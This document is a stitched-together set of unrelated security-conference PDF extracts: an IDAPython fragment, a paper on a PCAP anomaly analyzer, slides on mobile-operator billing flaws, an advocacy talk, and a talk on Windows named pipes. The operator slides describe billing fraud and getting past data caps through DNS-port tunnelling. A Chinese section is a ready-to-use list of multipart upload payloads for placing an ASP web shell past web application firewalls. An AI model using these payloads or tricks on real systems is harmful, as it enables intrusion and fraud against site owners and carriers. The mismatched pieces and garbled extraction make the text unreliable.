unsigned double);”, PT_TYP)
tp_replaced = do_stuff_from_solution1(tp)
fn_tinfo = tinfo_t()
fn_tinfo.deserialize(cvar.idati,
tp_replaced, “”)
apply_tinfo2(ea, fn_tinfo, TINFO_DEFINITE) | pdf |
Asura: A huge PCAP file analyzer for anomaly
packets detection using massive multithreading
Ruo Ando
National Institute of Informatics
DEF CON 26
Abstract—Recently, the inspection of huge traffic log is im-
posing a great burden on security analysts. Unfortunately, there
have been few research efforts focusing on scalability in analyzing
very large PCAP file with reasonable computing resources. Asura
is a portable and scalable PCAP file analyzer for detecting
anomaly packets using massive multithreading. Asura’s parallel
packet dump inspection is based on task-based decomposition
and therefore can handle massive threads for large PCAP file
without considering tidy parameter selection in adopting data
decomposition. Asura is designed to scale out in processing large
PCAP file by taking as many threads as possible.
Asura takes two steps. First, Asura extracts feature vector
represented by associative containers of < sourceIP, destIP >
pair. By doing this, the feature vector can be drastically small
compared with the size of original PCAP files. In other words,
Asura can reduce packet dump data into the size of unique
¡sourceIP, destIP¿ pairs (for example, in experiment, Asura’s
output which is reduced in first step is about 2a parallel clustering
algorithm is applied for the feature vector which is represented as
< sourceIP, destIP >, V [i] where V [i] is aggregated flow vector.
In second step, Asura adopts an enhanced Kmeans algorithm.
Concretely, two functions of Kmeans which are (1)calculating
distance and (2)relabeling points are improved for parallel
processing.
In experiment, in processing public PCAP datasets, Asura
can detect 750 packets which are labeled as malicious from
among 70 million (about 18GB) normal packets. In a nutshell,
Asura successfully found 750 malicious packets in about 18GB
packet dump. For Asura to inspect 70 million packets, it took
reasonable computing time of around 350-450 minutes with 1000-
5000 multithreading by running commodity workstation. Asura
will be released under MIT license and available at author’s
GitHub site on the first day of DEF CON 26.
I. INTRODUCTION
The scale of network traffic are growing year by year.
Besides, as the emergence of sophisticated cyber attack such as
APT (Advanced Persistent Threat), we are forced to cope with
the detailed packet inspection as well as checking other traffic
logs. Currently, the inspection of huge traffic log is imposing
a great burden on security analysts.
Traffic irregularities or traffic anomalies is usually described
as the result of one or more occurrences which changes the
normal flow of data. Anomaly detection is the process of
finding patterns in the audit network traffic log which do not
conform to legitimate or normal behavior. The design of an
anomaly detection method relies on a baseline model which
represents the normal behavior of network traffic. The model
is generally trained using audit data extracted from traffic for
which all items are labeled in advance as either normal or
anomalous. However, labelling traffic data is often expensive
and time-consuming partly because it requires human experts.
II. OVERVIEW
A. Task based decomposition
If we want to transform code into a concurrent version, there
are two ways. First one is data decomposition, in which the
program cope with a large collection of data and can compute
every chunk of the data independently. Second one is is task
decomposition, in which the process is partitioned into a set of
independent tasks that threads can execute in any order. Data
decomposition has some drawbacks. For example, the size of
PCAP file varies according to the situation in which the file is
dumped. Besides each divided process is NOT homogeneous.
Asura adopts task-based parallel processing which is shown
in Figure1. Asura’s parallel packet dump inspection is based
on task-based decomposition and therefore can handle massive
threads for large PCAP file without considering tidy parameter
selection in adopting data decomposition. Asura is designed
to scale out in processing large PCAP file by taking as many
threads as possible. Assume that we have n threads and each
thread and each thread is associated with one PCAP file. By
doing this, Asura can take advantages of dynamic scheduling
for coping with a variety of kinds and size of PCAP file. Asura
consists of two thread sets: a master thread which enqueues the
name of PCAP file and a worker thread which processes the
each PCAP file. The master thread enqueues the list of PCAP
file, and passes it to the worker thread. More specifically, the
master thread traverses PCAP file directory and enqueue the
file name. When the queue is full, the master thread waits until
the worker thread processing packets consumes a file name
and removes it from the queue. The worker (packet processing
thread) dequeues a file name and parses the PCAP file. The
task of the worker thread is flow vector aggregation using
associative container discussed later in III-A.
B. Feature selection and structures
In general, most system of the identification of anomalies
on traffic volume is based on features. The features could be
many: source and destination addresses, port numbers, static
signatures, statistics signatures and so on. The difficulty of
the anomaly traffic identification is to handle the huge traffic
volume. The challenging part here is to select which header
item are worth and suitable to be learned. For simplicity, we
pick up the five items as follows:
Fig. 1. Task based decomposition
1) Source and destination IP addresses: unique identiers of
sender and receiver.
2) The number of captured packets: the fields is reflected
by the traffic volume.
3) TLEN (total length of packets): the 16-bit field defines
the entire packet volume in bytes, including both header
and data.
4) TTL (The time-to-live): the time-to-live value can be
referred as an upper bound on the time which an IP
datagram can be processed.
5) source and destination port: port number is checked for
the type of application.
Structure is shown as follows. For each fields, the numerical
fields of packet header are reduced using associative container
of map < key, value >. The key stores number of packets.
In other words,
1: /* STRUCTURE II: reduced */
2: typedef struct _reduced {
3: map<int, int> count;
4: map<int, int> tlen;
5: map<int, int> ttl;
6: map<int, int> sport;
7: map<int, int> dport;
8: pthread_mutex_t mutex;
9: } reduced_t;
10: reduced_t reduced;
Another challenging part is to transform code into a con-
current version with massive multithreading. For reduction, we
use the structure as follows.
1: /* STRUCTURE I: srcIP, destIP */
2: typedef struct _addrpair {
3: map<string, string> m;
4: pthread_mutex_t mutex;
5: } addrpair_t;
6: addrpair_t addrpair;
Here pthread mutex t is the notation for mutual execution.
Mutual exclusion locks (mutexes) prevent multiple threads
from simultaneously executing critical sections of code which
Fig. 2. Flow vector computation by multithreading
access shared data (that is, mutexes are used to serialize the
execution of threads). All mutexes must be global. Threads
within the same process or within other processes can share
mutexes. Mutexes can synchronize threads within the same
process or in other processes. Mutexes can be used to synchro-
nize threads between processes if the mutexes are allocated in
writable memory and shared among the cooperating processes
,and have been initialized for this task.
Algorithm 1 Flow vector aggregation 1
Input: file{< S, D >, V }
Output: Unique pair of < s[i], d[i] >, v[i]
1: while for i in each thread do
2:
lock(map < S, D >)
3:
local map < S, D >= map < S, D >
4:
unlock(map < S, D >)
5:
while !end of file[i] do
6:
< s, d ><= readline(FILE)
7:
i = 0
8:
while local map < S, D >! = EMPTY do
9:
if < s, d >! = local map < S[i], D[i] > then
10:
local map.insert(< s, d >)
11:
lock(map < S, D >)
12:
map < S, D >= localmap < S, D >
13:
unlock(map < S, D >)
14:
i + +
15:
end if
16:
end while
17:
end while
18: end while
III. PROPOSAL METHOD
A. Extracting feature vector using associative container
Associative containers are a generic group of class templates
in the standard library of the C++ programming language
which cope with ordered associative arrays. The containers
are implemented in the current revision of the C++ standard:
set, map, multiset, multimap.
1) Key uniqueness: in map and set each key must be
unique.
Algorithm 2 Flow vector aggregation 2
Input: R1{< src, dest >, V }, R2{counter, sum}
Output: < src, dest >, V
1: while for i in each thread do
2:
while !end of file do
3:
{< s, d >, v} <= readline(FILE)
4:
i = 0
5:
for itr = R1 local.begin; itr! = R1 local.end do
6:
if < s, d >! = R1 local < S[i], D[i] > then
7:
R1 local. < V i > + = v
8:
lock(R1{< S, D >, V })
9:
R1{< S, D >, V } = R1 local
10:
unlock(R1{< src, dest >, V })
11:
end if
12:
i + +
13:
end for
14:
end while
15: end while
2) Element composition: in map and multimap each ele-
ment should be composed from a key and a mapped
value.
3) Element ordering: elements must follow a strict weak
ordering
Proposal method is divided into two steps. Two pseudocodes
are shown in the Algorithm 1 and 2. The core idea of our
algorithm is to divide data into chunks which includes the pair
< src, dest >. The implementation is based on associative
container which stores the unique pair of < src, dest >.
This procedure is shown in the pseudocode of Algorithm 1.
The second nested loop retrieves the pair < s, d > from
file stream at line 6. In the third nested loop, the program
traverse local map ¡S, D¿ for looking V[i] corresponding to
< s, d > The final output of Algorithm 1 is the unique pair
of < s[i], d[j] >
The purpose of Algorithm 2 is the contraction. The most
important line is 7. At line 7, edges between src and dest
are contracted by adding V[i]. More precisely, the edge
< src[i], dest[i] > and < src[j], dest[j] > are reduced
by adding V[i] to V. After figuring out < src, dest >, V ,
contracted edges V are stored in global variable with the index
of < src, dest >. The second nested loop beginning at line 2
retrieves {< s, d >, v} where s, d is single point with inter-
mediate points s. The third nested loop starting at line 5 finds
the corresponding {< s[j], d[j] >, v[j]}in < s[i], d[i] >, v[i]
at line 6. Similar to previous steps, {< S, D >, V } is locked.
The final output is < src, dest >, V .
B. Parallel Kmeans
The general design of Kmeans is that it iteratively partitions
a given dataset into k clusters. At first, it choices k data point
as the initial centroids. It could be the first data points or a
set of randomly selected k data points in the data set. We are
given an integer k and a set of n data points x 2 Rd. We
which to choose k centers C so as to minimize the potential
function,
φ =
n
X
x2D
minc2C k x − c k2
A clustering each centroid implicitly requires choosing these
centroids. Here we set one cluster to be the set of data points
which are closer to the center than to any therefore. It is known
that finding exact solution to the Kmeans problem is NP-hard.
For implementing our method, Kmeans are divided into four
steps: (1) initialization, (2) distance calculation, (3) relabeling
points, (4) centroid recalculation and (5)coverage condition.
Here the step of (3) relabeling points is explicitly appended.
The core idea of our algorithm is based data decomposition
which divide the dataset into j chunks. R = 1, ...j. We can
parallelize steps of (1) - (4). The pseudocode our our algorithm
is shown in Algorithm 3. Line 3 - 11 represents the step of
distance calculation of {< R, S >, D} where R is data points,
S is cluster set, and D is the distance between R and S. The
table of distance is manipulated on shared memory, therefore
line 6-8 lock/unlock {< R, S >, D} defined as global variable.
The second step of relabeling clusters which finds the
minimum distance between R and S is depicted in line 14-26.
Precisely, this step aims to discover the unique pair of < r, s >
with minimum distance d. Aster calculating the minimum
distance, this pair < r, s > is stored in {< D, S >, R}.
The third parallelized step of (4) is represented in line 27-
31. In this step, we have already relabeled the points R to
cluster S. Hence line 29 can be parallelized.
IV. EXPERIMENTAL RESULT
In experiment, in processing public PCAP datasets, Asura
can identified 750 packets which are labeled as malicious
from among 70 million (about 18GB) normal packets. In a
nutshell, Asura successfully found 750 malicious packets in
about 18GB packet dump. For Asura to inspect 70 million
packets, it took reasonable computing time of around 350-450
minutes with 1000-5000 multithreading by running commod-
ity workstation.
V. CONCLUSION
Recently, the inspection of huge traffic log is imposing
a great burden on security analysts. Unfortunately, there
have been few research efforts focusing on scalability in
analyzing very large PCAP file with reasonable computing
resources. Asura is full-scratch (and painful) implementation
with POSIX Pthreads and C++ STL. PCAP files are NOT
organized in a regular pattern or the parsing of PCAP files
is different or unpredictable for each element in the stream.
Leveraging Pthreads which represents assembly language in
parallelism provides maximum flexibility. Asura adopts task-
based implementation for processing huge, heterogeneous and
unpredictable PCAP file stream.
Currently, Asura has thousands lines of code. can process
about 75,000,000 - 80,000,000 packets in about 250-500
minutes. Drawbacks of adopting Pthreads are caused by lock
Algorithm 3 Parallel Kmeans
Input: < R, S >
Output: {< D, S >, R}, {< R, S >, D}
1: i = 0
2: for each threads j do
3:
for each r in R[j] do
4:
for each s in S do
5:
d[i] = distance(r, s)
6:
lock({< R[j], S >, D})
7:
store < R[j], S >, d[i]
8:
unlock({< R[j], S >, D})
9:
i + +
10:
end for
11:
end for
12: end for
13: i = 0
14: for each threads j do
15:
for each r in R[j] do
16:
for each s in S do
17:
if d[i](r, s) < min D then
18:
min D = d[i]
19:
end if
20:
i + +
21:
end for
22:
lock({< D, S >, R})
23:
store < min D, s >, r
24:
unlock({< D, S >, R})
25:
end for
26: end for
27: for each threads j do
28:
for each s in S do
29:
recalculate new centroid with {< D, S >, R[j]}
30:
end for
31: end for
connection and context switch. For future work, other parallel
processing libraries will be promising technology for the
speedup of current Asura.
REFERENCES
[1] Linux Programmer’s Manual PTHREADS(7), http://man7.org/linux/man-
pages/man7/pthreads.7.html
[2] Threading Building Blocks, https://www.threadingbuildingblocks.org/
[3] Thrust, https://developer.nvidia.com/thrust
[4] Asura, https://github.com/RuoAndo/Asura | pdf |
Business logic flaws in
mobile operators services
B o g d a n A l e c u
Bogdan ALECU
About me
Independent security researcher
Sysadmin
Passionate about security, specially when it’s
related to mobile devices; started with NetMonitor
(thanks Cosconor), continued with VoIP and finally
GSM networks / mobile phones
@msecnet / www.m-sec.net
Bogdan ALECU
GOALS
o SIM Toolkit: what is it, how can we
exploit it
o Understanding of business logic
flaws in mobile operators services
o What you should do in order to
protect from these attacks
Bogdan ALECU
TOPICS
1. SIM TOOLKIT
2. HTTP HEADERS
3. DATA TRAFFIC VULNERABILITY
4. THE EXTRA DIGIT
5. SUMMARY
Bogdan ALECU
THE BUGGY WORLD
SIM
1 TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
SIM
TOOLKIT
1
Example of SIM Toolkit icon on your mobile device
Bogdan ALECU
THE BUGGY WORLD
For sending Ringtones, operator logo,
concatenated messages, SMS makes use
of the User Data Header
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
SIM
TOOLKIT
1
ETSI TS 101 181 V8.9.0
Bogdan ALECU
THE BUGGY WORLD
The type of message sent is addressed
directly to the SIM, by setting the PID to
0x7F, corresponding to USIM Data
Download and by setting DCS to F6
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
… then the ME shall pass the message
transparently to the SIM
… shall not display the message, or
alert the user of a short message
waiting
“
”
SIM
TOOLKIT
1
ETSI GSM 11.14
Bogdan ALECU
THE BUGGY WORLD
SIM
TOOLKIT
1
Security Parameter Indicator
Security Parameter Indicator
Security Parameter Indicator
Security Parameter Indicator
Bogdan ALECU
THE BUGGY WORLD
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
UDH (User Data Header): 027000
PID (Protocol ID): 7F
DCS (Data Coding Scheme): F6
000e0d00210000b20000aabbccddee00
CPL
CHL SPI SPI
0 0 1 0 0 0 0 1
KIc KID
TAR
CNTR
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
•
SIM card automatically replies to the
sending number
•
Nothing in Inbox, Outbox – only on
your bill
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
LET’S SEE IT IN ACTION!
SIM
1TOOLKIT
Bogdan ALECU
THE BUGGY WORLD
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
Mobile operators have their own WAP /
WEB page for customers:
•
Balance check
•
Money transfer
•
Download music, videos, wallpapers
•
Subscribe to services (eg. custom
ringback tones)
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
User Agent Switcher https://addons.mozilla.org/en-
US/firefox/addon/user-agent-switcher/
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
•
Operators know who to charge based
on HTTP headers
•
Sniff the traffic your phone does and
look for the headers having mobile
number
•
“Privacy Leaks in Mobile Phone
Internet Access” by Collin Mulliner
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
8/12/201
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
The old fashioned way of the attack
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
CSD (Circuit Switched Data)
•
Think about it like dial-up
•
Since it involves actually placing a
phone call, it is exposed to the same
vulnerabilities like a regular call
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
DEMO TIME!
HTTP
2 HEADERS
Bogdan ALECU
THE BUGGY WORLD
Data traffic
3 vulnerability
Bogdan ALECU
THE BUGGY WORLD
•
What happens when you reach data
limit?
•
Have you ever tried to perform a DNS
query?
MOBILE
3 DATA TRAFFIC
Bogdan ALECU
THE BUGGY WORLD
But what if …
•
you setup a VPN server listening on
port 53 UDP (DNS port)
•
connect to this server and route all
the traffic
MOBILE
3 DATA TRAFFIC
Bogdan ALECU
THE BUGGY WORLD
Internet traffic
Works also in Roaming!
MOBILE
3 DATA TRAFFIC
Bogdan ALECU
THE BUGGY WORLD
4 The extra digit
Bogdan ALECU
THE BUGGY WORLD
Do you have a flat-rate plan with
unlimited minutes in the operator’s
network?
THE EXTRA
4 DIGIT
Bogdan ALECU
THE BUGGY WORLD
Do not try this at home!
•
Take a ported number that was in your
network
•
Add two more digits to the end of the
number
•
Place the call
•
You will be charged like calling in your
network
THE EXTRA
4 DIGIT
Bogdan ALECU
THE BUGGY WORLD
THE EXTRA
4 DIGIT
Bogdan ALECU
THE BUGGY WORLD
If that does not work…
-
try with one digit, all the digits
-
divert all calls to that number, but
add a digit at the end of it
THE EXTRA
4 DIGIT
Bogdan ALECU
THE BUGGY WORLD
5 Summary
Bogdan ALECU
SUmmary
“Our technology does not allow
unauthorized access. Occurrence of
errors in billing regarding data traffic or
voice is excluded.”
5 Summary
Bogdan ALECU
Summary
o Test yourself and report the issues to
your carrier
o Check if your carrier allows you to
disable access to premium rate
services
5 Summary
Bogdan ALECU
Summary
o Filter SIM command messages
o Do not rely only on the caller ID
o Always authenticate, do not forget
about privacy
5 Summary
F O R Y O U R A T T E N T I O N
THANK YOU
msecnet
www.m-sec.net
[email protected] | pdf |
原始默认状态:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentDisposition: formdata; name=”filepath”; filename=”backlion.asp”
ContentType: text/html
突破0,文件名前缀加[0x09]绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentDisposition: formdata; name=”filepath”; filename=”[0x09]backlion.asp”
ContentType: text/html
突破1,文件名去掉双引号绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentDisposition: formdata; name=”filepath”; filename=backlion.asp
ContentType: text/html
突破2,添加一个filename1的文件名参数,并赋值绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentDisposition: formdata; name=”filepath”; filename=”backlion.asp”;filename1=”test.jpg”
ContentType: text/html
突破3, form变量改成f+orm组合绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentDisposition: f+ormdata; name=”filepath”;filename=”backlion.asp”
ContentType: text/html
突破4 ,文件名后缀大小写绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTentDisposition: formdata; name=”filepath”; filename=”backlion.Asp”
ContentType: text/html
突破5 ,去掉form-data变量绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTentDisposition: name=”filepath”; filename=”backlion.asp”
ContentType: text/html
突破6,在Content-Disposition:后添加多个空格 或者在form-data;后添加多个
空格绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTentDisposition: formdata ; name=”filepath”; filename=”backli
ContentType: text/html
或者:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTentDisposition:
ContentType: text/html
突破7 ,backlion.asp . (空格+.)绕过:
1
——WebKitFormBoundary2smpsxFB3D0KbA7D
2
3
ConTentDisposition: formdata; name=”filepath”; filename=”backlion.asp .”
ContentType: text/html
突破8 ,“回车换行,绕过:
1
2
3
4
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTentDisposition: formdata; name=”filepath”; filename=”backlion.asp
”
ContentType: text/html
突破9 ,NTFS流 在文件名后加::$DATA绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTentDisposition: formdata; name=”filepath”; filename=”backlion.asp::$DATA”
ContentType: text/html
或者
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTentDisposition: formdata; name=”filepath”; filename=”backlion.asp::$DATA\0x00\fuck.asp0x00.j
ContentType: text/html
突破10, 经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中
的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为
接收参数。因此尝试构造如下请求[上传backlion.asp成功]:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ContentDisposition: formdata; name=”FileUploadName”; filename=”backlion.asp”
—————————–15377259221471
ContentDisposition: formdata; name=”FileUploadName”; filename=”backlion.txt”
ContentType: application/octetstream
ContentDisposition: formdata; name=”FileUploadName”; filename=”backlion.asp”
ContentDisposition: formdata;
name=”FileUploadName”; filename=”backlion.asp”
突破11,将Content-Type和ConTent-Disposition调换顺序位置绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentType: text/html
ConTentDisposition: formdata; name=”filepath”; filename=”backlion.asp”
突破12,在文件名前缀加空格(tab键可替换)绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentDisposition: formdata; name=”filepath”; filename= “backlion.asp”
ContentType: text/html
突破13,在form-data加空格绕过:
1
2
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentDisposition: formdata; name=”uploaded”; filename=”backlion.asp”
3
ContentType: text/html
突破14,在form-data的前后加上+绕过:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentDisposition: +formdata; name=”filepath”; filename=”backlion.asp”
ContentType: text/html
或者:
1
2
3
——WebKitFormBoundary2smpsxFB3D0KbA7D
ContentDisposition: formdata+; name=”filepath”; filename=”backlion.asp”
ContentType: text/html
在上述的方法中,还有些方法可以过安全狗,也可以过D盾、360网站卫士
等等。另外从上述方法中,若按你们的想法,会分成那些类型?我在这里统一划
分为特性和WAF解析不当(PS下,我不是学术派,较口语化)i,特性包括系统特
性,协议特性等等,比如上述中,大多数都属于协议的特性,因为FORM-
DATA的协议十分松散;部分属于系统特性,比如加空格、点号、NTFS流等
等。而解析不当,比如上述的第二种添加一个filename1,这种在正常情况下无
法使用的,如果第0种,对特殊字符无法解析,归根到底也是WAF对内容解析的
不当处理。以上方法可以绕过目前大部分waf了,即使防住了,结合下有时候会
出现超乎想像的结果 | pdf |
The Cavalry Isn’t Coming
Starting the Revolution to FSCK it all!
Nicholas J. Percoco & Joshua Corman
@c7five @joshcorman
Introductions
Introductions
@c7five
Introductions
@c7five
@joshcorman
Backwards & Forward
I’ve Had Dreams
I’ve Had Dreams
Nightmares
Dangerous Precedents
Hitting Rock Bottom
Hitting Rock Bottom
The Value of
Uncomfortable
Experimentation
Uncomfortable
Experimentation
Radically
Chain of Influence
Chain of Influence
Fuzzing the
Hacking Our Future
Hacking Our Future
Hacking Our Future
Hacking Our Future
• If We Can Hack [X], We Can Hack This.
Hacking Our Future
• If We Can Hack [X], We Can Hack This.
• Jailbreaking the System
Hacking Our Future
• If We Can Hack [X], We Can Hack This.
• Jailbreaking the System
• Best Social Engineers on the Planet
Hacking Our Future
• If We Can Hack [X], We Can Hack This.
• Jailbreaking the System
• Best Social Engineers on the Planet
• Where Do We Start?
3 Planks of a Platform
3 Planks of a Platform
3 Planks of a Platform
• Public Good/Safety
3 Planks of a Platform
• Public Good/Safety
• Preservation of Security Research
3 Planks of a Platform
• Public Good/Safety
• Preservation of Security Research
• Preservation of Civil Liberties
3 Planks of a Platform
3 Planks of a Platform
• Body - Public Good/Safety
3 Planks of a Platform
• Body - Public Good/Safety
• Mind - Security Research
3 Planks of a Platform
• Body - Public Good/Safety
• Mind - Security Research
• Soul - Civil Liberties
Next Steps
Next Steps
Next Steps
1. Name the Movement - Help us!
Next Steps
1. Name the Movement - Help us!
2. Form a Executive & Advisory Boards
Next Steps
1. Name the Movement - Help us!
2. Form a Executive & Advisory Boards
3. Hold a “Constitutional Congress”
Next Steps
1. Name the Movement - Help us!
2. Form a Executive & Advisory Boards
3. Hold a “Constitutional Congress”
4. Share Results
Next Steps
1. Name the Movement - Help us!
2. Form a Executive & Advisory Boards
3. Hold a “Constitutional Congress”
4. Share Results
5. Execute Projects
The Cavalry Isn’t Coming
You Are The Cavalry
The Cavalry
You Are
Join The Revolution
@IamTheCavalry
[email protected]
Join us for Q&A
in Chill-Out Lounge | pdf |
1
Call the plumber –
You have a leak in your (named) pipe
Gil Cohen
2
• Presenter introduction
• Key terms
• Connecting to named pipes
• Pipe ACLs And Connection Limitation
• Named pipes in the wild
Agenda
• Enumerating And Scanning For Named Pipes
• Sniffing Named Pipes Content
• Fuzzing Named Pipes
• Exploitation And Impact
• Case studies & Live demo!
• Mitigation And Defense
3
Gil Cohen
CTO, Comsec Global
• IDF Programming course
graduate (“Mamram”) and
former waterfall developers
• Cyber Security professional
with more than 12 years of
experience
• Vast comprehensive
knowledge in penetration tests,
secured design, programmers’
training and information
security in general
30 years
Established in 1987, Comsec has nearly three-
decades of experience in all aspects of information
security.
150 consultants
Allows us to deliver a broad spectrum of services
and to provide a uniquely flexible service level.
600 clients
From blue chip companies to start-ups, Comsec has
a deep sector expertise in most verticals and un-
paralleled understanding of our clients’ business
environment.
22 countries
With offices in London, Rotterdam and excellence
center in Tel Aviv, Comsec is able to deliver global
impact through local presence spanning over 22
countries and five continents.
Your host
4
Key Terms
5
Introduction To Key Terms
IPC or Inter-Process Communication
• An operating system mechanism that allows processes and applications to
manage shared data and communicate
• Categorized as clients and servers, where the client requests data and the
server responds to client requests
• Many applications are both clients and servers, as commonly seen in
distributed computing
6
Introduction To Key Terms
Windows Named Pipes
• One of the methods to perform IPC in Microsoft Windows
• One-way or duplex pipe for communication between the pipe server and
one or more pipe clients
• Utilizes a unique file system called NPFS(Named Pipe Filesystem)
• Any process can access named pipes, subject to security checks
• All instances of a named pipe share the same pipe name,
but each instance has its own buffers and handles
7
Introduction To Key Terms
Windows Named Pipes
Many configurations and variations:
• Half Duplex or Full Duplex.
• Byte-Oriented or Packet-Oriented.
• Local or Network.
Named pipes network communication is not encrypted
and uses the protocols SMB (port 445) or DCE\RPC (port 135)
Inter-process communication
is not only local!
8
Introduction To Key Terms
RPC or Remote Procedure Call
• A protocol that allows one program to invoke a service from a program
located on another computer
• No need to understand the network's structure\details
• Uses port 135 TCP or UDP
DCE/RPC or Distributed Computing Environment / Remote Procedure Calls
• A facility for calling a procedure on a remote machine as if it were a local
procedure call
• To the programmer, a remote call looks like a local call
9
Introduction To Key Terms
SMB or Server Message Block
• An application-layer network protocol providing shared
access to files, printers, serial ports etc.
• Mostly used for file sharing
\\192.168.1.1\c$\Users\manager\Documents
\\fileserver\public\shareddocs
• Also provides an authenticated inter-process
communication mechanism
• Uses port number 445 TCP
SMB in a nutshell
10
Introduction To Key Terms
Named and Unnamed \ anonymous Pipes
Two types of named pipes:
• Named pipes: has a specific name, all instances share the name
• Unnamed \ anonymous pipe: is not given a name
o Only used for communication between a child and it’s parent process
o Always local; they cannot be used for communication over a network
o Vanishes as soon as it is closed, or one of the process (parent or child)
completes execution
o Actually named pipes with a random name
11
Connecting To
A Named Pipe
12
Connecting To A Named Pipe
• All pipes placed in the root directory of NPFS
• Cannot be mounted within the normal filesystem
• Mounted under the special path - \\.\pipe\{pipe name}
o A pipe named "foo" would have a full path name of:
\\.\pipe\foo
o Remote connection:
\\10.0.0.1\pipe\foo
• Can be connected to programmatically or with dedicated tools
13
Connecting To A Named Pipe
IO Ninja
• Named pipes (and other
communications) Swiss
army knife
• http://tibbo.com/ninja.htm
14
Connecting To A Named Pipe
• This is how it looks in Wireshark (SMB communication)
15
Pipe ACLs And
Connection
Limitation
16
Pipe ACLs And Connection Limitation
• Named pipes are implemented by a filesystem driver in Windows NT, npfs.sys,
which supports security descriptors
• Security descriptors are used to control access to named pipes.
• By default DACL (Discretionary Access Control Lists) permissions are set to
everyone using anonymous login (null sessions).
• Other named pipes allow access to authenticated domain users (lots of users)
• ACLs can be modified to allow only specific users (same as file ACLs)
17
Named Pipes have Access Control Lists.
For the following pipe it is permitted to everyone to connect:
Pipe ACLs And Connection Limitation
18
Pipe ACLs And Connection Limitation
Another limitation of Windows Named Pipes in the max number of instances of a pipe
19
Named pipes
in the wild
20
Conficker case study
• Conficker is a computer worm targeting the Microsoft Windows operating
system that was first detected in November 2008.
• It uses flaws in Windows OS software and dictionary attacks on administrator
passwords to propagate while forming a botnet.
• It has been unusually difficult to counter because of its combined use of
many advanced malware techniques.
• It infected millions of computers including government,
business and home computers in over 190 countries (!).
21
Conficker case study
22
Conficker case study
• Variant C creates a named pipe, over which it can push URLs for
downloadable payloads to other infected hosts on a local area network.
• Named pipes can be used for C&C purposes!
• Used in other Trojans as well: Moker, ZxShell and even Petya uses it to
transfer extracted passwords.
23
Enumerating
And Scanning
For Named
Pipes
24
Named pipes can be enumerated using different testing tools.
For locally detecting which named pipes are opened, it is possible to use Sysinternals’ pipelist:
https://download.sysinternals.com/
files/PipeList.zip
Enumerating And Scanning For Named Pipes
25
Named pipes ACLs enumeration
•
Using other 3rd party tools
•
For example: Beyond Security Pipe Security Editor
An old utility, deprecated
Win32 Pipe Security Editor
for Windows NT/2000/XP
http://retired.beyondlogic.org/solutions/pi
pesec/pipesec.htm
Enumerating And Scanning For Named Pipes
26
Named pipes ACLs enumeration
using SysInternals’ pipeacl
•
enables viewing permission of a certain named pipes:
C:\> pipeacl \.\pipe\lsarpc
Revision: 1
Reserved: 0
Control : 8004
Owner: BUILTIN\Administrators (S-1-5-32-544)
Group: SYSTEM (S-1-5-18)
Sacl: Not present
Dacl: 3 aces
(A) (00) 001f01ff : BUILTIN\Administrators (S-1-5-32-544)
(A) (00) 0012019b : Anonymous (S-1-5-7)
(A) (00) 0012019b : Everyone (S-1-1-0)
www.securityfocus.com/tools/2629
Enumerating And Scanning For Named Pipes
27
Enumerating And Scanning For Named Pipes
Forgotten Metasploit module called Pipe auditor enumerate remotely accessible named pipes,
over SMB (Pipe_Auditor) or RPC (Pipe_dcerpc_auditor)
https://github.com/rapid7/metasploit-
framework/blob/master/modules/auxil
iary/scanner/smb/pipe_auditor.rb
28
Sniffing
Named
Pipes
Content
29
Sniffing Named Pipes Content
IO Ninja also enables sniffing and monitoring traffic of a chosen named pipe:
http://tibbo.com/ninja.html
30
Fuzzing
Named Pipes
31
Fuzzing
• Fuzzing or fuzz testing is an automated software testing technique that
involves providing invalid, unexpected, or random data as inputs to a
computer program.
• Done with fuzzers – automatic fuzzing tools
• The program is then monitored for exceptions such as crashes and potential
RCEs.
• Typically, fuzzers are used to test unmanaged (C\C++) programs that take
structured inputs.
32
Fuzzing
Two types of fuzzing approaches:
Dumb (“Black Box”)
• Go over all possible inputs without understanding the expected ones
(sometimes implemented using random data)
• Simple to implement, sometimes impossible to execute using the sequential
approach
Smart (“White Box”)
• Understand the expected input and fuzz along the edges
(mix expected data template with random values)
– Smart data generation
• Harder to implement, more code coverage
33
Fuzzing Named Pipes
Windows IPC Fuzzing - dump-fuzzing named pipes script
https://www.nccgroup.trust/us/a
bout-us/resources/windows-ipc-
fuzzing-tools/
34
Exploitation
And Impact
